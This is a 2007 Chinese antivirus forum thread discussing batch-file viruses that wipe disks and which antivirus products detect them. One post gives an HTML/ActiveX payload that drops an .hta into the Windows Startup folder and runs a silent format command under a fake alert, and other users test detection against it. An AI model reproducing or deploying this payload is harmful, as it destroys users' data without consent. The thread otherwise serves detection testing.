捆绑批处理文件的病毒开始流行了？

显示全部楼层 · 发表于 2007-6-23 10:39:54

刚才去了其他的坛子逛了一下。

发现好像最近有了捆绑批处理文件来恶意删除或者格式化硬盘的病毒。

不知道红伞能拦截否？

显示全部楼层 · 发表于 2007-6-23 11:13:44

有样本嘛?
把样本发上来,让我们试试看啊

显示全部楼层 · 发表于 2007-6-23 11:18:13

你试试看这个

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<script>
scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\1.hta";
scr.Doc="<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B>
</object>
<script>wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT :System is formatting your harddisk. Plase wait...);</"+"SCRIPT>";
scr.write();

危险代码！请不要随便尝试！！！！

[ 本帖最后由 david_sg 于 2007-6-23 11:27 编辑 ]

显示全部楼层 · 发表于 2007-6-23 11:20:32

如果真有人写bat来格，基本没有能防住的，和html病毒一样，怎么写都可以，就像楼上阴险的那位一样。。

显示全部楼层 · 发表于 2007-6-23 11:28:27

原帖由 david_sg 于 2007-6-23 11:18 发表
你试试看这个

scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\1.hta";
scr.Doc="

wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT :System is formatt ...

俺只要一进这个贴子里：咖啡立即就报毒

显示全部楼层 · 发表于 2007-6-23 11:32:03

报了一大箩....

显示全部楼层 · 发表于 2007-6-23 11:35:20

对，McAfee能防这样的网页，它的网页防护技术对Script很敏感。但是其他很多防病毒软件对这个并不敏感。

显示全部楼层 · 发表于 2007-6-23 12:03:47

调用的是DOS的format

显示全部楼层 · 发表于 2007-6-23 12:38:28

原帖由 小邪邪 于 2007-6-23 11:32 发表
报了一大箩....

是用 IE 打开的网页吧，用火狐试试还报不报。火狐浏览器不会调用 ActiveX ,所以安全性要好得多。

显示全部楼层 · 发表于 2007-6-23 12:41:47

原帖由 david_sg 于 2007-6-23 11:18 发表
你试试看这个

scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\1.hta";
scr.Doc="

wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT :System is formatt ...

红伞不会报.

[讨论] 捆绑批处理文件的病毒开始流行了？

回复 #2 周杰伦的帖子

本帖子中包含更多资源

本帖子中包含更多资源

回复 #5 小邪邪的帖子

[讨论] 捆绑批处理文件的病毒开始流行了？

回复 #2 周杰伦 的帖子

本帖子中包含更多资源

本帖子中包含更多资源

回复 #5 小邪邪 的帖子

回复 #2 周杰伦的帖子

回复 #5 小邪邪的帖子